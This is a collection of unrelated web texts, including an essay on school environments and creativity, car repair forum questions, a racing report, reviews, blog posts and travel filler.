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The Creative Change Model describes creativity as faceted, comprising a person, a process, the environment and a product (Puccio, Mance, Switalski, & Reali, 2012, p. 34). Without a supportive environment, creativity is inhibited, and creative change is unlikely to take place. If schools are to be nurturing creativity, they need to be providing an environment in which creativity can thrive. The school environment sets a stage upon which the students can either soar to creative heights or flounder.
Step into a modern day public school classroom. Upon entering the door, rows of individual desks are seen facing the whiteboard at the front of the room. The students sit in their assigned seats and know that they better be quiet, or they may receive a warning or punishment. On the wall is evidence of the discipline system. If this is an elementary classroom, chances are it is mirrored after a stoplight; a wrong move and a student's name is moved to "yellow," and then to "red," with associated punishments. If it is a middle or high school, perhaps there are "demerits" or referrals. But let us say this teacher is one of the "good" ones. In that case there are also rewards and praise doled out regularly in this classroom. As the school day passes, the students are moved from subject to subject on a strict schedule, the content outlined in an exact timeline. The teacher presents a lesson; the students practice on worksheets, and then the teacher grades their work. Somewhere packed away in the recesses of the teacher's desk, there is a document on the content standards and one on 21st century skills that espouses the importance of critical thinking, problem solving, and creativity (National Education Association, 2015, p. 3). The question is, where is the creativity? Does this classroom provide an environment that allows creativity to flourish?
Intrinsic Motivation
It is well documented that intrinsic motivation is preferable to extrinsic motivation for learning. Intrinsic motivation is the desire to complete a task for its own sake or for an internal feeling of satisfaction as opposed to completing it for an external reward (Hon, 2012, p. 54). Studies have shown that intrinsic motivation leads to deeper learning, better engagement and higher achievement (Deci & Ryan, 1985; Lens, Deci, & Vansteenkiste, 2006). A child that chooses an activity, task, or learning endeavor is going to experience more long-lasting learning and is more likely to continue in the activity or study than a child who is rewarded with prizes, grades or other extrinsic motivators. Through creativity research, intrinsic motivation has also been linked to higher creativity (Deci and Ryan, 2000; Hennessey, 2015; Koestner, Ryan, Bernieri, & Holt, 1984). Characteristics like curiosity, flexible thinking and novelty in decision-making are more readily observed in people with intrinsic motivation, according to researchers Amabile, Zhou, and Shalley in Hon (2012, p. 54). That means that a classroom that has intrinsically motivated students is likely to have higher levels of creativity.
Unfortunately, most schools and classrooms leave little to no room for student-directed learning. Content standards and scope and sequence documents used in public schools nationwide prescribe specific topics and required learnings down to the semester. This leaves it nearly impossible to follow the intrinsic interests of individual students, so instead we employ extrinsic rewards and punishments. Students are evaluated every step of the way through their schooling and are rewarded an A if they complete their course to the teacher's satisfaction and answer enough questions correctly on a test. We know that these external motivators dampen children's innate interest in learning; sadly, these extrinsic rewards and punishments also hinder creativity. This remains true even for adults. The environmental factors that affect the creativity of employees are often significant because of their effect on intrinsic motivation (Amabile, 1996). If we could allow students to engage in pursuits for the sake of the activity itself, instead of for the sake of the schedule, the timeline, the standards, the grades, or avoiding punishment for lack of participation, we could expect higher levels of creativity from those students in their endeavors. The imposition of strict timelines and evaluation over people weakens their intrinsic motivation and therefore leads to lower creativity (King & Gurland, 2007, p. 1253).
Freedom and autonomy are two influences identified by creativity scholars as having a positive relationship with creativity (Amabile & Gryskiewicz, 1989; Witt & Beorkrem, 1989). In school, children have little freedom and autonomy. Most of the time they do not decide when during the day they work on which subject. They do not decide what they learn within a subject. They do not decide what activities they engage in or even how long they get to spend on a task. They rarely get to decide where they sit, when they eat, or even when they get to go to the bathroom. This lack of autonomy does not make for a creative environment. In fact, a lack of autonomy can inhibit creativity (Runco, 2004, p. 662). If we want students to develop creativity, we need to allow them to feel like they are in control. We need to give them some freedom. Giving people autonomy is one mechanism for creating intrinsic motivation (Ryan & Deci, 2000). The environmental factors that affect creativity are inextricably linked and build on and interact with each other. Our schools' failure in providing any of these factors of a creative environment affects other factors and can bury children under a mountain of rigidity that kills their creativity.
Time is necessary to allow for novel ideas within a problem or challenge to be reached (Runco, 2004). The first ideas that we come up with when solving a problem or dealing with a challenge tend to be "reproductive thinking," or ideas based on similar problems from the past (Michalko, 2001, p. 4). The time spent moving through ideas allows for a person to finally reach a truly original idea. In addition to time spent on an endeavor, creativity often requires incubation time, too (Puccio, Murdock & Mance, 2007). Time away from a task, with the allowance of returning to the task at a later time, gives more opportunity to generate a novel idea. With this information in mind, creativity researcher Mark Runco (2004) concludes that "people should take their time if they want a creative idea," and "students and employees should be given sufficient time if they are expected to do creative work" (p. 662).
In classrooms, time is rarely up for negotiation. The teacher has a certain number of lessons to get through during the year, a certain number of standards and skills to cover, and a specific amount of information to impart before the standardized tests come in the spring. They also have a daily schedule to follow. A predetermined number of minutes are to be spent in math instruction and reading instruction. The idea of spending all day on one subject because that is what the students need is preposterous in most schools. It is also hard to allow for incubation time in a classroom. As time rolls on, so the content needs to roll as well.
Fear of Failure
When asked about what conditions stimulated or acted as obstacles to creativity, respondents to a survey done by Amabile (1987) had similar answers. The obstacles identified included evaluation and a climate that avoids risks (p. 6). When people are evaluated or know they are going to be evaluated on a creative task, it reduces their feelings of competency (King & Gurland, 2007, p. 1257). This feeling of inadequacy affects intrinsic interest, and, as King and Gurland argue, may reduce a person's motivation to engage in the creative task in the future. As discussed earlier, lower intrinsic motivation leads to lower creativity, so a downward spiral is entered, catalyzed by evaluation. "Thus," King and Gurland conclude, "evaluation pressure may set in motion a cycle of decreasing interest and decreasing creativity" (p. 1258). Add to this evaluation problem that of students being in a constant state of behavioral surveillance, and that is a recipe for complete shutdown on the part of the students. If the pressure of evaluation is an obstacle to creativity, how can we expect students that are under the constant threat of referrals, detention, or punishments associated with "red cards" to feel free to be creative? If we operate our schools based on coercion of students into appropriate behavior and work, we cannot also expect that they develop a creative spirit. We can either crush spirits or free them, not both.
The Thinking Skills Model of Creative Problem Solving lists "tolerance for risks" as a supporting affective skill. Tolerance for risk means, "not allowing oneself to be shaken or unnerved by the possibility of failure or setbacks" (Puccio, Murdock & Mance, 2007). Students will be more creative if they can view failures and mistakes as learning opportunities. Unfortunately, failure in schools is used coercively as an extrinsic motivator for students. A failure, often represented in shorthand as an F, is something to be avoided and feared. Mistakes are rarely used as learning opportunities, but are swiftly corrected by the teacher. Unusual ideas are dismissed and sometimes even punished for "class clownery." This climate does not encourage students to take risks in school. When students focus on avoiding failure, anxiety and low intrinsic motivation result. These, in turn, cause (surprise!) reduced creativity (Icekson, Roskes & Moran 2014, p. 1).
Physical Environment
The creative environment cannot be discussed without also mentioning the physical space in which learning and creativity (hopefully) take place. In two studies done by McCoy and Evans (2002), participants rated spaces according to how conducive to creativity they appeared, and the spaces that were highly rated were found to, by at least one measure, actually increase creativity. Some of the aspects that contributed to a creativity-conducive environment were: furniture set up to promote social interaction, visual details, natural materials, and natural view (p. 415).
While many classrooms that I have seen have high visual detail, furniture is rarely arranged in a way that promotes social interaction. In fact, it is usually set up to discourage all social interaction most of the day. Collaboration is usually much lower of a priority in classrooms than intent listening to a teacher's lecture. Natural views and materials are also not easy to find in today's classrooms. These aspects could probably be reached by spending more time outside, but that is something that seems to be done less and less in schools today.
The Perfect Creative Environment
There is a lot of work to do in schools in order to create environments that foster creativity. Classrooms do not have it all wrong; there are several aspects of the average classroom that can help to promote creativity – access to resources, visually stimulating rooms, and enthusiastic role models, or teachers (Runco, 2004; Amabile, 1987). However, there are some serious problems with the way we run school and set up the environment in which we want our children to learn and develop creative thinking skills. We need to find ways to work with students' intrinsic motivation, acknowledging that they learn better through their interests and passions. We need to allow for more flexibility around time so that students can be allowed to work through challenges and also get necessary incubation time. We need to give them more autonomy so that they feel in control of their lives and a have sense of volition. Torrance called this "released control," where students feel freedom to experiment because their teacher practices deferred judgment in the classroom (Pruitt, 1989, p. 52). We need to help students to see failure as a learning experience and not feel threatened by or live in fear of evaluation. We need to provide opportunities for collaboration and social interaction and a physical space that feels open and freeing. As Hennessey (2015) asserts, "the overarching goal of the curriculum at all grade levels should be to encourage exploration and experimentation" (p. 191). It is going to take some creativity on the part of the education system to see around some of these issues. For a long time we have depended on the decisions we make on behalf of children about when and how they should learn. Randall Pruitt (1989) calls this the "habit barrier" to creativity (p. 52). We are used to doing things a certain way, and those habits are hard to change. We have used failure as a negative extrinsic motivator and punishments and rewards to try to keep things running smoothly. The problem is that we are running to a dead end. If we really want our kids to be creative, we need to give them a space and climate that allows just that, even if it involves us taking a risk.
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No one can push my buttons like those close to me.
Of course, I can be upset by those I don't know well: the women in front of me that is taking too long at Starbucks, the man driving aggressively behind me on the beltway, or the parent I decide is obnoxious on the sidelines of my son's game. But those close to me are the people that often stir the deepest emotions.
According to David Schnarch, our closest relationships are the best places for us to grow, but also the most challenging. In order to grow with those around us, we have to be differentiated.
Schnarch, author of Intimacy & Desire: Awaken the Passion in Your Relationship, describes the fundamentals of differentiation as the Four Points of Balance™ :
- Solid Flexible Self™
- Quiet Mind & Calm Heart™
- Grounded Responding™
- Meaningful Endurance™
In layman's terms I describe them this way:
- Having your own identity that is not dependent upon others.
- The ability to regulate your thoughts, feelings, and body.
- Managing your impulses as you respond to others.
- Being willing to live with discomfort for the purpose of growth.
In essence, differentiation is being able to maintain ourselves while staying connected in relationships.
It's easy to maintain ourselves when not in relationships. And it's easy to maintain relationships if we are willing to give up ourselves. But growth comes from the ability to do both at the same time.
It's not easy, but staying in relationships while maintaining self is possible. And for most of us, the life we want to live is an invitation to differentiation.

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Cherish the Children Foundation is excited to host its inaugural Fall craft beer and BBQ event. Still Hill is a regular supporter of the Foundation and we are excited to host our event in the Tap Room!
What started as a grass roots effort by the Carbone family in 1989 has evolved into a charity that has provided close to $2 million dollars towards improving the lives of children in our community. CTCF acts as a direct resource for children and families with financial needs brought on by medical or quality of life challenges not being met through traditional funding sources.
Events like this craft beer and BBQ dinner allow CTCF to fulfill its mission. This event is coordinated and staffed solely by volunteers. We truly appreciate your support. When you sponsor a CTCF event, you are not only participating in a fun filled evening, you gain the satisfaction of helping Connecticut children achieve their greatest potential.
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Driver side front door won't open from outside, but still opens from inside. Already removed outside handle to check for damage, and it was OK. Took door panel off, and was going to take the inner steel panel off, but couldn't get exact procedure for dealing with the window carriage and glass from the usual Nissan help sites, and lost my nerve in going any further. Does the window have to be removed to access the inner door, or can it just be raised. My fear was when the carriage was unbolted from the inner door panel, that I wouldn't be able to get the bolts back into the carriage after reattaching the inner panel, as the carriage moved away from the panel when I started to unbolt it.
When I reconnect the battery, the trunk opens and the front lights come on and the rear marking lights come on and will not turn off. How can turn these off or do I have to pull the fuse for the security system? I would also need a fuse diagram, the owner did not have the manual when I purchased the vehicle.
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Infiniti QX4 2000 mi:203k Power steering issue. Working fine until I used 4WD. Now regardless of 2WD / Auto / or 4WD steering very hard.
1993 Infinity G20 automatic 150k
Transmission had been slipping occasionally, happened most often when I would slow down and accelerate again, (say from 50 to 25, and back up again). Then, when accelerating moderately from an intersection, there was a pop/clunk and the transmission was completely disengaged -reverse, drive, park, made no difference. The car rolls in any gear even Park. A local engine mechanic mentioned the linkage and/or bands, and found the transmission fluid was low, said it could have got dry and burned up.
How do you replace the bulb for the clock in an 2003 Infiniti FX35
1999 Infiniti G20. 145,000 miles. Auto trans. This problem just started recently. As you accelerate a humming noise increases in pitch throughout acceleration. It sounds like when you pass a large 4WD truck with monster tread tires…that whirring, humming sound. It does not happen while in neutral while stationary and revving the engine, so I know it's not an engine bearing – only while on the road while moving. It does happen while coasting in neutral at speed. The trans also shifts perfectly so I don't think it's involved and the tire pressure is correct ,so I put it up on blocks and got underneath. It appears to be coming from down near the transmission/differential or axles. But this car had both axles replaced less than a year ago. Originally, I thought it might be the wheel bearings. But when I lifted the car and wiggled the wheels, I found no play and the noise seemed to be coming from farther in than at the area where the wheel bearings would be. It was there even while spinning the wheels freely by hand while on the lift. I think this car has a differential bearing and wonder about that or maybe it's the wheel bearings and I just didn't hear the location correctly. Or maybe the axles were done wrong…? Can anybody help me identify this problem? Thanks! – JL


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Grand Palms Hotel and Golf Resort is a full service luxury South Florida resort situated on over 500 acres of tropical beauty, with a 27-hole championship golf course that features the "Best Greens at a South Florida resort." It is located on Pines Boulevard, just west of I-75.
Matt Kennedy is a Class A PGA professional who has been teaching for over 25 years. He is currently the Director of Instruction at Grand Palms Hotel and Golf Resort, as well as Golf Galaxy in Pembroke Pines, Florida. Matt is a native of Ohio and attended Ohio State University. He began his professional career in 1985 at Tamarack Country Club in Greenwich, Connecticut. His experience includes 15 years instruction in North Carolina, including Ken Venturi Golf Academy at Grandover Resort. Throughout his career, Matt has assisted players from Marshall University and North Carolina State University. His clientele ranges from beginners to professionals, including a number of professional athletes. Matt Kennedy has conducted over 25,000 private lessons over the course of his teaching career


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The image of sky attracted many artists who worked in different epochs and represented the different styles and ways of art. However, such exhibition, revealing the variety of approaches to this theme, is held for the first time. Each of the exposition halls presents a certain aspect of the image of a sky. The exposition is beginning with the works by the modern artists. Among them there are Eric Bulatov, Mikhail Shvartsman, Oscar Rabin, Victor Tikhomirov and also the well-known German artist Jorge Immendorf and Izuru Midzutani, Japanese master of video-art. The exposition section "On the Another Part of a Sky", devoted to the theme of space, deserves the special attention. There are presented the paintings by the famous Soviet spaceman Aleksey Leonov, the unique photos of the nebulas, made with the aid of telescopes and the astronomic instruments, granted by the Pulkovo Observatory.
There are also presented the works by the classics of the Russian landscape painting of the XIX century – Ivan Aivazovsky, Aleksey Savrasov, Arkhip Kuindzhi and the other masters. The final section of the exhibition presents the oeuvres of the Old Russian art аnd the paintings by the Russian artists of the beginning of the ХХ century and the Soviet artists. The image of a sky receives here the great significance in the revealing of the emotional content of the work.
4 july—2 september 2019
The exhibition of the first avant-garde association of Russia will present about 200 items: paintings, graphics, scenographic projects, as well as posters and archival materials.
Angels of the 20th and 21st Centuries
13 june—19 august 2019
The exhibition will trace the pictorial and semantic metamorphosis of the image of the angel in fine arts from modernism, symbolism, and avant-garde to the art of our contemporaries.
The collection of masterpieces, chosen by the Russian Museum will allow you to make a first impression of the collection of the Russian Museum.
Russian Museum - one of the world's largest museums and is perhaps the only country where such a full treasure of national culture are presented.
Virtual tour of the museum complex. 2009 (Rus., Eng., Ger., Fin.)
In the online shop of the Russian Museum presented a huge range of souvenirs, illustrated editions and multimedia disks.
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Smallfoot - Movie Synopsis & Plot
An animated adventure for all ages, with original music and an all-star cast, Smallfoot turns the Bigfoot legend upside down when a bright young Yeti finds something he thought didn't exist—a human. News of this "smallfoot" brings him fame and a chance with the girl of his dreams. It also throws the simple Yeti community into an uproar over what else might be out there in the big world beyond their snowy village, in a rollicking story about friendship, courage and the joy of discovery. Read more at http://www.comingsoon.net/movies/trailers/905189-smallfoot-trailer#5eXOLZ7Ys7WHZtEf.99


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Germans from Mercedes-Benz revealed the new 2013 SLS AMG GT in Affalterbach. AMG managed to add extra 20 horsepower to the output, the model being now capable of developing 583 horsepower. The springs and dampers have a more rigid setup that complete the AMG Adaptive Performance Suspension. All the output is now being sent to the wheels through a 7-speed AMG dual-clutch transmission and tits 6.2-liter V8 engine also received different upgrades. The carmaker improved the exhaust system and its responses have been beefed up with throttle calibration changes and injection mapping upgrades. The model is capable of crossing a lap of the Nurburgring Nordschleife in 7.30 seconds. Acceleration is now 3.6 seconds for the hardtop GT versus the currently model that need 3.7 seconds. German Mercedes-AMG wanted to turn this model into a monster and managed to really do it.
The 3.573-pound car is going through a crucial part while going into through and out of curves, just because the handling, ride and gear play are not very flexible. The power is being transferred to the road through 265/35 ZR19 98Y wheels found on the front axle and 295/30 ZR20 101Y found on the rear one. Both are covered in Michelin Pilot Super Sport tires. The carmaker offers the carbon ceramic brakes as an option that will cost you another $12.500. The Germans will start delivering the SLS AMG GT coupe and roadster in November for the North American customers. The prices might go up to $195.000 for the coupe version and up to $200.000 for the roadster. In the photo gallery you can see what we were talking about.
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Archive for July, 2011
Bali Vacations
To date, all we are increasingly able to confront the phenomenon is referred to as chronic fatigue. The number of different cases to such an extent is large, and free time all the time is not enough. All of us are more and more looks to the heavens and able to enjoy multi-colored autumn leaves on the trees. We are not able to catch commonplace. And the free time to relax completely will not. And yet relaxed still need, and we risk to waste residues abilities.
And the best resolution – a solo tour. This is exactly the same output, which will be able to again sincerely rejoice in reality, their own workers to perform tasks as soon as possible effectively. Since the optimal rest – a change of atmosphere and the type of activity in parallel. Leaving a long-awaited vacation, you can afford, in the end, any more than not thinking about anything not to worry. Only enjoy excellent air and ocean. Choosing a state where you personally would want to go directly to the holiday, it is best to select the country where the constantly warm. Europe may come when you are away on cultural-city tour, but if you want corny relax and get away from the set of concerns, the more positive option than tours to Thailand or Bali, you will not find it. The answer is not just in the warm sea and friendly residents.
It is at the same time and the very exotic country, which allows us to go to unusual activity and to feel the character of this tale. Naturally, every holiday should be as laid plan. Not nothing can be said that the best free improvisation – is one that is qualitatively rehearsed. For this reason, in the last minute deciding to go to some overseas power, requires a very attentive to the selection of holiday agency. It is clear that every travel company is committed to providing the buyers the best first impression. But if you do not immediately rush into a working office to study booklet or listen to the most persuasive words of managers on the island of Bali, it is best to initially assess the Internet, without exception, all the summary data about the holiday on Bali, and in addition to the extent possible feelings holidaymakers who have been here with this or that company. The bulk of the complex nuances you'll be able to note once personally. And then pay them special attention when creating a contract. It can touch and there the travel agencies, and certain hotels, quality, maintenance, or, say, a kitchen that is left on the feeling of many other vacationers, and wish a lot better. Of course, you will notice that, having decided to go on vacation, you want to get rid of all the complexities of its planning. However, the last step has to be done. And then really – to enjoy your vacation!
Federal State Statistics Service
Average output growth rates in 2000-2006. in the country amounted to 7-9% annually. According to Deputy chief of a site to repair the concrete factory the company Eniseylesstroy Alexei Trankova in Krasnoyarsk today employs more than 30 small and large factories for the production of cement and concrete. Their basic amount was introduced in operation during the past five years. During the building boom this production was very profitable. According to Mr. Trankova, the plant pays off for 2 years: "The performance of our plant is 60 cubic meters per hour. In 2007-2008, we have shipped to 300-350 cubic meters per shift.
" At this time, a significant increase in the volume of construction has led to shortage in the market of cement and concrete. But by the end of 2008 could be observed a sharp slowdown. Production of cement in the country, according to the Federal State Statistics Service, declined by 10%. Not differ from nationwide and the situation in Krasnoyarsk. According to Mr. Trankova, today their company is loaded by only 15% of volume last year.
Of course, plants that are attached to construction companies, such as "Monolitresurs", "Firm Kultbytstroy" and "Sibagropromstroy" a little easier to survive the crisis because they have guaranteed key customers. The rest, according to Alexei Trankov, it will be harder. So they first begin to change the pricing policy. Prices for concrete in the middle of the city only during the first half of 2009 fell by 15-20%. Not less significant part of the construction market is rolled metal.
Opel Mervia Cars
The company first introduced the Opel Opel Meriva at the Paris Motor Show in 2002. Meriva – a five-door five-seater minivan. Without doubt, this car is a family and is not intended for high speeds on the highway. For all He did all capable of a decent speed. In a car of this model fit the whole family, but due to a convenient adjustment of seats, passengers of all sizes will feel right at home.
The design of Opel Meriva provided many innovations. They not only provide light control, but the smooth ride. Moreover, the smoothness does not affect almost any environmental conditions and the level of congestion of the machine. Meriva shows amazing one hundred percent functionality, not least because of the new seating system FlexSpace. Ability of its transformation are striking. Position of the rear seats can be adjusted so that the amount of luggage department vehicle is greatly increased.
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sometimes it's the little things that get me all excited and this weekend after an outing with a11 she pointed out one of them. and then she mentioned that i might be weird. not in a disrespectful way mind you. more of in an "i'm concerned about you and maybe we should find you some help" kind of way.
see we had been out shopping for our christmas angel child. we'd managed to find what they wanted plus a few extras. and while this did make me feel good it isn't what put a spring in my step. as we were walking to the car someone starts following us. and i start to get that little thrill down my spine that i always get when someone is following me in their car in a parkig lot. not the "oh my, a stalker is on my tail" kind of thrill – i'm talking about the "they want my parking spot" kind of thrill. i mean this is the kind of thing that can turn the suckiest of days into a amazingly wonderful bluebirds start singing kind of day. it makes me fantabulously happy when someone wants my parking spot. when i get in my car and am pulling out of my spot if i happen to notice someone waiting for my spot i can't wipe the smile off my face i get so happy. and if they happen to follow me to my spot because they want it so badly. well, that's like winning a lottery. it's amazing. and i've never felt like it was odd or strange that i had this reaction. at least not until a11 pointed out that she didn't believe this was at all normal.
but i think it might be contageous. because on our way home from the store we happened to stop by the open air market and as we were pulling out of the parking lot i noticed a smile creep across a11's face. and i heard her quietly say, "someone took our spot." smile worthy, indeed.
in other news – i got an email today from my mom today. actually two. they were forwards of the iteneraries for my mom & dad's trip to visit us in january. they aren't flying together. they're very much like the president and vice president of the united states. too risky to have them on the same flight. they get here a day apart. i think i might make a couple of those construction paper chains for the count down to their arrivals. i was talking with s9 about how it will have been over a year since we last saw my dad (my mom visited this last may) and how neat it will be to have them around. and what all things we could possibly do. when i reminded s9 that he and his brother and sister would still have to go to school he said, "oh, yeah. well, it will still be great to see them."


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Beale Racing - ARCA Midwest Tour Cabin Fever 100
It's already Beale Racing's third race of 2018. The ARCA Midwest Tour. Touring Stars John Beale and Casey Johnson raced in the Cabin Fever 100 at State Park Speedway.
The pit gates opened at 10:00 AM with races scheduled for 6:00 PM. Some of the funnest times are in the line at the pit gate waiting for the teams to sign-in. The competitors have time to relax before the nonstop competition that starts once we enter the pits.
The conversations range from discussing the last race's "incidents", "dumb" rules, "Do you want to buy my spare 5.3 engine?" and if we finish by 8 PM we could drive through the night and race at Bristol Motor Speedway tomorrow.
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The ARCA Midwest Tour is one of the top Super Late Model tours in the country. Since 2007 it has attracted elite race teams from across the Midwest who race together at every event. The Touring Starts are joined by some of the top teams in the country and the local track's Super Late teams who get some exceptions on rules to run with the big dogs.
It's no surprise to see names like Bubba Pollard and Johnny Sauter, roll into the pits without much fanfare. The larger tour races are highlighted by some of ARCA Midwest Tours favorite Monster Energy Cup Drivers.
Kyle Busch had an epic battle with Beale Racing's Casey Johnson during last years ARCA Midwest Tour Dixieland 250. Kyle crossed the line first but Casey Johnson took the $10,000 check home after technical inspection. Busch Light
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Confidence was high since Casey and John finished in the top 3 behind Chris Wimmer in last years Larry Detjens Memorial race last summer. But last years event was run with two cars which sat in the Beale Racing Shop. The ARCA Midwest Tour had revised rules to make the Wegner Automotive 5.3l engines illegal for Touring Stars.
John Beale would be driving his red "Johnny" Chassis with the powerful Hamner Racing Engine. Casey Johnson would be driving his new Pathfinder Chassis with Wegner Automotive LST engine. Both drivers would have to race with delicate throttle response since the State Park Speedway is a small 1/4 mile oval with very little banking.
Practice went well as the Beale Racing crew made small tweaks to the Casey Johnson setups in both cars. Qualifying went smooth with Casey qualifying p6 and John at p17 out of the field of twenty cars. John's time was only .15 of a second slower than Casey.
The qualifying races would provide Beale Racing with it's 1st victory in 2018. John Beale won his qualifying race after a great battle with John DeAngelis Jr. Casey would finish p4 in his race after starting deep in the 10 lap qualifying race.
The Cabin Fever 100 would run 100 laps of green on the 1/4 mile track of State Park Speedway. John Beale would battle from the rear of the field to finish in 10th place. A solid performance that would make him the top rookie in 2018 points.
Casey Johnson started p4 in a field of cars that were only separated by .4 of a second in qualifying speed. Casey worked his way through the laps smoothly passing Fast time qualifier Chris Weinkauf, Joe Shear Classic winner Austin Nason and two time Midwest Tour champion Dan Fredrickson.
Andrew Morrissey had made his way into the lead and was lapping cars when two cars battling in front of him touched and he ran into the back of one. His front had a severely damaged nose and he could not see the track in the corners.
Casey would battle with Andrew the final laps looking for a way to get around. Andrew kept in the tire tracks of the lapped cars since he couldn't see the track. Casey made one last shot on the outside with 5 to go but could get it done.
Andrew would cross the line sliding sideways in mirror of Casey's car since both had maxed out the horsepower to surface tension limit.
The next week will include two events for our Beale Racing's drivers.
- Casey Johnson will race in a brand new Chase Motorsports #47 on Thursday Night at Wisconsin International Raceway.
- Saturday Night is the return of the ARCA Midwest Tour to Jefferson Speedway. Casey will be the one to beat since he owns three track championships. John Beale will also be eager to improve on his 2nd place finish from last years TUNDRA Super Late Model event.
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Amok Amor's personnel may span continents, but this set of eight originals share a compelling urgency that signals a meeting of intensely focussed musical minds. Peter Eldh is a now familiar figure on the UK scene from his work with Django Bates, Marius Neset and most recently the collaboration with Kit Downes and James Maddren as trio The Enemy. The line-up on this release expands another trio, Swedish Eldh and German-based duo of drummer Christian Lillinger and saxophonist Wanja Slavin, to a quartet with the addition of New York-based trumpeter Peter Evans. The partnership of Eldh and Lillinger is a pulsating hubbub of sometimes spiky riffs and fractured rhythms, at others a surging momentum, switching at the blink of eye so that there's a sense of the music rushing headlong, drawing breath then rushing off in another direction. The feel changes throughout from lop-sided clattery funk, to demented distorted swing, embraces a more even, time-shifting metre with a distant hint of hip-hop beats or dissolves into exploratory out of time sections. It's a dynamic, interactive setting for the front line of sax and trumpet. Manipulieren II starts with Slavin and Evans locked in step as angular, interval leaping, spiralling lines are swept along by the collective energy. Amor offers a brief gale force blast of a free-boppish motif followed by Slavin and Evans hurling ideas back and forth before the more extended Sons of Engels-Marx progresses from another rattling, spiky theme to a collective improvisation full of howls and squeals from the sax and trumpet. Als Sozialist Geboren has a theme that could almost be a spritely folk tune before a twisting, duelling exchange between the two horns darkens the mood. The set comes to a frenetic close with the appropriately titled Amok. This debut album confirms an exciting new prospect. The nonchalance and ease with which some fairly extended, closely scripted sections are negotiated creates a sense of freedom and spontaneity. The quartet are individually dazzling, but it's the chemistry and invention of the collective that makes this band fizz. (by Mike Collins)


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The decision to attend graduate school is not one to be taken lightly. It is a huge time and financial commitment, so ask yourself what your motivations are for attending graduate school. Being honest with yourself is the best way to establish if grad school IS right for you.
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3 Newbie Mistakes I Made as a Virtual Assistant
When I started working from home in 2007 as a virtual assistant, thrilled doesn't begin to describe how I felt. I admittedly stumbled into this new world of freelancing when my boss at the time allowed me to start working from home. Everything was rolling along quite well and I truly enjoyed working with my real estate client. Then, as quickly as it had began, it was over. The real estate industry tanked in 2008. Work suddenly dried up. This girl had to hustle and hustle hard! I had mouths to feed.
I was determined to make freelancing work so I started marketing my services and signed up for a few online freelancing sites. The work started to roll in. Before I knew it, I had multiple clients and more work than I could shake a stick at.
But it wasn't all peaches and cream. I made some serious mistakes starting out. If you're a current virtual assistant or thinking about being one, don't make these three now cringe-worthy boo-boos:
Pricing services too low.
I'm embarrassed now to say that sometimes I took jobs that paid WAAAY less than minimum wage. Think about it: if you were to work in a brick-and-mortar setting and you had mad administrative skills, there's no way you'd work for less than minimum wage. Don't cheapen your value. You're not doing yourself any favors by low balling your rates just to land a client. If a client's budget is low, that's okay. Entrepreneurs are at different walks in their journey. But that doesn't mean you have to settle for a low rate.
Price your services accordingly in the very beginning. Don't start off at a low rate and then realize that you need a higher rate just to keep your head above water. Your client isn't going to like a repetitive rate increase. Keep in mind that as a freelancer, you're responsible for stuff like taxes, your life insurance and retirement benefits and any other overhead expenses you might have. Try this cool tool by Beewits to help you determine your freelance rate. You might be amazed!
Not identifying a niche.
Okay, Supermoms (you know who you are are!). Hate to break it to you but I've just gotta - you can't do everything. I know. I tried.
In my freelance virtual assistant business, I was all over the place. I took a lot of jobs from a lot of industries. I was eager, hungry for the work. With my twenty plus years of experience, I knew I could do it all.
But I couldn't. I had to hone in on what I truly was good at (I found out I really enjoyed social media and the creative-type stuff, like graphic design) and what I wasn't good at (I hated phone work and repetitive tasks, like data entry). Although I could do the stuff I truly didn't enjoy, I didn't give my all. The quality just wasn't there. Clients could sense that. Get the picture?
You've got to know what type of virtual assistant you really are. Are you a social media whiz? Is appointment setting your thing? No one is good at everything but everyone is great at at least one thing. Find that one thing and run with it because there's a demand for what you're offering. And finally...
Taking on too many clients.
This ties in with pricing my services too low. Because my rates were so low, I had to stack clients like firewood. I was working around the clock, trying to service way too many clients for too little money. The result? I began to resent the work and my time management skills went flying out the window. I was definitely stretched too thin.
First, I had to decide which clients I wanted to continue to work with and which ones I needed to let go. Surprisingly, money wasn't the deciding factor in most of the cases. Did I truly enjoy the type of work I was doing? If I really didn't like the work, the decision was pretty easy to make. After I weeded out my client list, I went back to the drawing board by figuring out my niche and my lowest freelance rate. When I relocated from a major city on the East coast to a Midwestern city, my cost of living declined drastically, mostly because of the difference in housing costs. That meant I could command a lower rate (nothing too low, mind you) and not have to work as many hours just to make ends meet.
Well, there you have it. The three mistakes I made starting out as a virtual assistant. For those just starting out, I hope you take something away from my mistakes. Then it will seem as if it was worth it! I'd love to hear your thoughts so please feel free to leave a comment!


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Tips and Tricks When Buying a Truck
During the first half of 2018 alone, more than 1.4 million pickup trucks have already been sold in the U.S. according to the automotive research company, Kelley Blue Book. With gas prices falling and truck models improving, pickups are attracting more buyers.
If you're one of the millions of people in the market for a new vehicle, a pickup truck might be the perfect car for you. But how would you know which one to choose?
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According to Myers Chrysler Dodge Jeep Ram, Bellevue, Ohio's go-to dealership for new trucks, if you'll be driving around with friends and family, it's ideal to get a crew or extended cab. Meanwhile, if you'll primarily use the vehicle to haul big loads, choosing a pickup with a larger truck bed is better.
Know the Weight of What You'll Carry
Knowing the weight of what you'll put in your truck is essential in picking the perfect model. By at least estimating the weight, you can decide whether you'd need a light-, medium-, or heavy-duty truck. Trucks have different payloads, so if you underestimate the weight, your truck might have a hard time hauling what you need.
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Floor is 1/2 the problem, actually. British people use floor indiscrimantly pretty much for anything flat (more or less) that people walk on.
Where as American's use floor for anything flat, that people walk on, under a roof.
American's use 'ground' for anything flat, that people walk on, that isn't covered by a roof. (part of what you learn of 'inside/outside' at around age 3)
So, depending on where you live, you would say:
He got hit so hard, he fell to the ground in Central Park.
He got hit so hard, he fell to the floor in Central Park.
Now a British person will figure out that 'ground' means 'floor'. But an american will have a question - what building in Central Park was He in?


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Last year we really stepped up the rewards when it came to being a KSP Senior Model. And every year, I strive to make the senior model experience something special. Something different. These girls work really, really hard to do all of my word of mouth marketing for me and they deserve to be spoiled a bit. We've amped it up over the past two years and taken this trip. We go out to the Deadwood/Lead area and we shoot and have fun and bond over all kinds of things. Last year we stayed in a tiny hotel with rabbits everywhere (outside) and it was fun, but I knew we were missing out on the whole group experience. So, we rented a cabin this year. 12 girls, Dan, Sam and I all staying in this gorgeous cabin out in the Gilded Mountain Development. And 7 super awesome moms who stayed just down the road from us in their own cabin. (Their journey could be a whole new blog post #lostmoms).
